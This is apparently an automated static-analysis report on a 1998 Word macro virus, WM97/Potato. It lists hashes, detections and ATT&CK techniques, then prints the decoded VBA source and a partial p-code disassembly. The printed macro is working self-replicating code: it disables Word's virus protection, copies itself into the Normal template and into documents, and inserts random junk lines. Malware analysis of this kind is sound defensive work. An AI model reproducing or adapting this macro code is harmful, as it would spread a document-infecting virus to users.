Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 829519f373530306…

MALICIOUS

Office (OLE)

30.0 KB Created: 1998-11-04 15:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4aad287f48691e54937bf4cbf85de2a9 SHA-1: 5a707d7ab2627d00ef716e5fca518596028bd7ae SHA-256: 829519f373530306fb34960b1bc133beb7113e20b5b6dbb6c2b6bc6cc310ee4e
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, a common technique for executing malicious code upon opening a document. The macro attempts to disable virus protection and execute further code, indicated by the 'AddFromFile' call. The presence of the 'WM97/Potato' string suggests a potential identifier for this malware variant.

Heuristics 4

  • ClamAV: Doc.Trojan.Class-40 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-40
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8856 bytes
SHA-256: 4bba553947f1a22778608071357a50d85cabe34714d28d785a941149b3c489b8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Randomize
u = 0
q = 0

On Error GoTo 11
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False

pt = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.countoflines
tp = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.countoflines
If tp > 0 And pt > 0 Then GoTo 11
If tp = 0 Then
    
    Set Potato = NormalTemplate.VBProject.VBComponents
    Set cake = ActiveDocument.VBProject.VBComponents
    it = Int(Rnd(1) * 20) + 1
If it = 17 Then
    
    rx = Int(Rnd(1) * 10) + 1
    If rx = 9 Then GoTo 22
    MsgBox "Do you want fries with that??", vbInformation, ":)"
    MsgBox "Ummm....I think you have a " & Chr(86) & Chr(73) & Chr(82) & Chr(85) & Chr(83) & " !!!", vbCritical, "Problem With Word :("
    
    MsgBox "Do you have an Anti-Virus", vbYesNo, "Anti-Virus"
    MsgBox "Have you paid your VISA recently", vbYesNoCancel, "Visa Payment made ?"
    MsgBox "This is fun, isn't it??", vbInformation, "This is fun!!"
    MsgBox "WM97/Potato" & vbCrLf & "(C) 1998 VEiN [SOS]" & vbCrLf & "Thanks goes to Webmaster V for all his help :)", vbInformation, "WM97/Potato"
    
    MsgBox "Word doesn't feel well" & vbCrLf & "It says it wants to rest", vbCritical, "Word is SICK!!!"
    Application.Quit
End If
If pt = 0 Then
    
    Set Potato = Active.Document.VBProject.VBComponents
    Potato.Item(1).codemodule.AddFromFile Application.StartupPath & "Potato"
With Potato.Item(1).codemodule
For e = 1 To 4

.deletelines 1
Next e
End With
If tp > 0 And pt = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

With Potato.Item(1).codemodule
    For e = 5 To Potato.Item(1).codemodule.countoflines Step 5
        u = Int(Rnd(109934) * 235514) + 5911
        q = Int(Rnd(446234) * 664320) + 9813
        
        .replaceline e, "'" & u * u & q * q & q * u & u * u & u * q
    Next e
End With
GoTo 11

22:
    cake.Item(1).Name = Potato.Item(1).Name
    cake.Item(1).Export Application.StartupPath & "Potato"
    Return

11:
If tp <> 0 And pt = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
Sub ViewVBCode()

'WM97/Potato by VEiN Quiero una hamburguesa :)
End Sub

' Processing file: /opt/analyzer/scan_staging/fa33136402fe401996015fd27a6364fe.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4735 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	ArgsCall Read 0x0000 
' Line #2:
' 	LitDI2 0x0000 
' 	St u 
' Line #3:
' 	LitDI2 0x0000 
' 	St q 
' Line #4:
' Line #5:
' 	OnError 11 
' Line #6:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #7:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #8:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #9:
' Line #10:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	St pt 
' Line #11:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	St tp 
' Line #12:
' 	Ld tp 
' 	LitDI2 0x0000 
' 	Gt 
' 	Ld pt 
' 	LitDI2 0x0000 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo 11 
' 	EndIf 
' Line #13:
' 	Ld tp 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #14:
' Line #15:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set Potato 
' Line #16:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set cake 
' Line #17:
' 	LitDI2 0x0001 
' 	ArgsLd Rnd 0x0001 
' 	LitDI2 0x0014 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St it 
' Line #18:
' 	Ld it 
' 	LitDI2 0x0011 
' 	Eq 
' 	IfBlock 
' Line
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.